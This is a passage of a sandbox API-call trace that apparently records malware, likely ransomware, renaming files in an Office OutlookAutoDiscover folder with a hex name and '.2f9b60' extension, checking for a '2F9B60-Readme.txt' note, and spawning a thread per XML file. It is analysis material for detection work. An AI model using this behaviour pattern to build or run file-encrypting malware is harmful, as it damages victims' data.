sprintf (in: _Dest=0x1ce626ae, _Format="%c%c" | out: _Dest="17") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626b0, _Format="%c%c" | out: _Dest="02") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626b2, _Format="%c%c" | out: _Dest="5e") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626b4, _Format="%c%c" | out: _Dest="5d") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626b6, _Format="%c%c" | out: _Dest="cc") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626b8, _Format="%c%c" | out: _Dest="cb") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626ba, _Format="%c%c" | out: _Dest="71") returned 2 [0223.775] sprintf (in: _Dest=0x1ce626bc, _Format="%c%c" | out: _Dest="a9") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626be, _Format="%c%c" | out: _Dest="d9") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626c0, _Format="%c%c" | out: _Dest="da") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626c2, _Format="%c%c" | out: _Dest="ba") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626c4, _Format="%c%c" | out: _Dest="cd") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626c6, _Format="%c%c" | out: _Dest="67") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626c8, _Format="%c%c" | out: _Dest="89") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626ca, _Format="%c%c" | out: _Dest="cb") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626cc, _Format="%c%c" | out: _Dest="8a") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626ce, _Format="%c%c" | out: _Dest="f7") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626d0, _Format="%c%c" | out: _Dest="df") returned 2 [0223.776] sprintf (in: _Dest=0x1ce626d2, _Format="%c%c" | out: _Dest="87") returned 2 [0223.776] RtlInitAnsiString (in: DestinationString=0x2910f7e8, SourceString="12eddea51c891efbf3d0096c72004517025e5dcccb71a9d9dabacd6789cb8af7df87" | out: DestinationString="12eddea51c891efbf3d0096c72004517025e5dcccb71a9d9dabacd6789cb8af7df87") [0223.776] RtlAnsiStringToUnicodeString (in: DestinationString=0x2910f7b8, SourceString="12eddea51c891efbf3d0096c72004517025e5dcccb71a9d9dabacd6789cb8af7df87", AllocateDestinationString=1 | out: DestinationString="12eddea51c891efbf3d0096c72004517025e5dcccb71a9d9dabacd6789cb8af7df87") returned 0x0 [0223.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431cb4e0 [0223.777] wcscat (in: _Dest=0x43110720, _Source="12eddea51c891efbf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12eddea51c891efbf") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12eddea51c891efbf" [0223.777] wcscat (in: _Dest=0x43110720, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12eddea51c891efbf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12eddea51c891efbf.2f9b60" [0223.777] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12eddea51c891efbf.2f9b60", NtPathName=0x2910f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12eddea51c891efbf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x43115360 [0224.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43115360) returned 1 [0224.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43074090) returned 1 [0224.028] NtQueryInformationFile (in: FileHandle=0xa38, IoStatusBlock=0x2910f7f8, FileInformation=0x2910f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2910f7f8, FileInformation=0x2910f808) returned 0x0 [0224.028] NtSetInformationFile (FileHandle=0xa38, IoStatusBlock=0x2910f7f8, FileInformation=0x2910f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43110720) returned 1 [0225.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb4e0) returned 1 [0225.275] FlushFileBuffers (hFile=0xa38) returned 1 [0225.548] CloseHandle (hObject=0xa38) returned 1 [0225.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ad290 [0225.990] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0225.990] wcscat (in: _Dest=0x202ad290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" [0225.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\2f9b60-readme.txt")) returned 0x20 [0225.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 [0225.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0225.991] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NVBELL.NET.XML", cAlternateFileName="NVBELL~1.XML")) returned 1 [0225.991] wcscmp (_String1="NVBELL.NET.XML", _String2=".") returned 1 [0225.991] wcscmp (_String1="NVBELL.NET.XML", _String2="..") returned 1 [0225.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad3f0 [0225.991] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0225.991] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0225.992] wcscat (in: _Dest=0x202ad3f0, _Source="NVBELL.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" [0226.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x327c [0226.804] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PACBELL.NET.XML", cAlternateFileName="PACBEL~1.XML")) returned 1 [0226.804] wcscmp (_String1="PACBELL.NET.XML", _String2=".") returned 1 [0226.804] wcscmp (_String1="PACBELL.NET.XML", _String2="..") returned 1 [0226.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ad080 [0226.805] wcscpy (in: _Dest=0x202ad080, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.805] wcscat (in: _Dest=0x202ad080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.805] wcscat (in: _Dest=0x202ad080, _Source="PACBELL.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" [0226.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c0 [0226.806] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRODIGY.NET.XML", cAlternateFileName="PRODIG~1.XML")) returned 1 [0226.806] wcscmp (_String1="PRODIGY.NET.XML", _String2=".") returned 1 [0226.806] wcscmp (_String1="PRODIGY.NET.XML", _String2="..") returned 1 [0226.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ad970 [0226.806] wcscpy (in: _Dest=0x202ad970, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.806] wcscat (in: _Dest=0x202ad970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.806] wcscat (in: _Dest=0x202ad970, _Source="PRODIGY.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" [0226.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d14 [0226.810] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROGERS.COM.XML", cAlternateFileName="ROGERS~1.XML")) returned 1 [0226.810] wcscmp (_String1="ROGERS.COM.XML", _String2=".") returned 1 [0226.810] wcscmp (_String1="ROGERS.COM.XML", _String2="..") returned 1 [0226.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ada20 [0226.810] wcscpy (in: _Dest=0x202ada20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.810] wcscat (in: _Dest=0x202ada20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.811] wcscat (in: _Dest=0x202ada20, _Source="ROGERS.COM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" [0226.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ada20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d10 [0226.811] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBCGLOBAL.NET.XML", cAlternateFileName="SBCGLO~1.XML")) returned 1 [0226.811] wcscmp (_String1="SBCGLOBAL.NET.XML", _String2=".") returned 1 [0226.811] wcscmp (_String1="SBCGLOBAL.NET.XML", _String2="..") returned 1 [0226.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ad290 [0226.812] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.812] wcscat (in: _Dest=0x202ad290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.812] wcscat (in: _Dest=0x202ad290, _Source="SBCGLOBAL.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" [0226.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d08 [0226.813] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNET.NET.XML", cAlternateFileName="SNETNE~1.XML")) returned 1 [0226.813] wcscmp (_String1="SNET.NET.XML", _String2=".") returned 1 [0226.813] wcscmp (_String1="SNET.NET.XML", _String2="..") returned 1 [0226.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d870 [0226.813] wcscpy (in: _Dest=0x4205d870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.813] wcscat (in: _Dest=0x4205d870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.813] wcscat (in: _Dest=0x4205d870, _Source="SNET.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" [0226.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d04 [0226.814] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SWBELL.NET.XML", cAlternateFileName="SWBELL~1.XML")) returned 1 [0226.814] wcscmp (_String1="SWBELL.NET.XML", _String2=".") returned 1 [0226.814] wcscmp (_String1="SWBELL.NET.XML", _String2="..") returned 1 [0226.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202adad0 [0226.815] wcscpy (in: _Dest=0x202adad0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.815] wcscat (in: _Dest=0x202adad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.815] wcscat (in: _Dest=0x202adad0, _Source="SWBELL.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" [0226.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202adad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cfc [0226.816] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TALK21.COM.XML", cAlternateFileName="TALK21~1.XML")) returned 1 [0226.816] wcscmp (_String1="TALK21.COM.XML", _String2=".") returned 1 [0226.816] wcscmp (_String1="TALK21.COM.XML", _String2="..") returned 1 [0226.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ac580 [0226.816] wcscpy (in: _Dest=0x202ac580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.816] wcscat (in: _Dest=0x202ac580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.816] wcscat (in: _Dest=0x202ac580, _Source="TALK21.COM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" [0226.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf0 [0226.817] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="WANS.NET.XML", cAlternateFileName="WANSNE~1.XML")) returned 1 [0226.817] wcscmp (_String1="WANS.NET.XML", _String2=".") returned 1 [0226.817] wcscmp (_String1="WANS.NET.XML", _String2="..") returned 1 [0226.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205dc30 [0226.817] wcscpy (in: _Dest=0x4205dc30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.818] wcscat (in: _Dest=0x4205dc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.818] wcscat (in: _Dest=0x4205dc30, _Source="WANS.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" [0226.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205dc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cec [0226.818] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CA.XML", cAlternateFileName="YAHOOC~2.XML")) returned 1 [0226.818] wcscmp (_String1="YAHOO.CA.XML", _String2=".") returned 1 [0226.818] wcscmp (_String1="YAHOO.CA.XML", _String2="..") returned 1 [0226.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205d910 [0226.819] wcscpy (in: _Dest=0x4205d910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.819] wcscat (in: _Dest=0x4205d910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.819] wcscat (in: _Dest=0x4205d910, _Source="YAHOO.CA.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" [0226.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce4 [0226.820] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.ID.XML", cAlternateFileName="YA6C44~1.XML")) returned 1 [0226.820] wcscmp (_String1="YAHOO.CO.ID.XML", _String2=".") returned 1 [0226.820] wcscmp (_String1="YAHOO.CO.ID.XML", _String2="..") returned 1 [0226.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202acdc0 [0226.820] wcscpy (in: _Dest=0x202acdc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.820] wcscat (in: _Dest=0x202acdc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.820] wcscat (in: _Dest=0x202acdc0, _Source="YAHOO.CO.ID.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" [0226.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acdc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd4 [0226.821] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.IN.XML", cAlternateFileName="YA8E91~1.XML")) returned 1 [0226.821] wcscmp (_String1="YAHOO.CO.IN.XML", _String2=".") returned 1 [0226.821] wcscmp (_String1="YAHOO.CO.IN.XML", _String2="..") returned 1 [0226.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac8f0 [0226.822] wcscpy (in: _Dest=0x202ac8f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0226.822] wcscat (in: _Dest=0x202ac8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0226.822] wcscat (in: _Dest=0x202ac8f0, _Source="YAHOO.CO.IN.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" [0226.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: 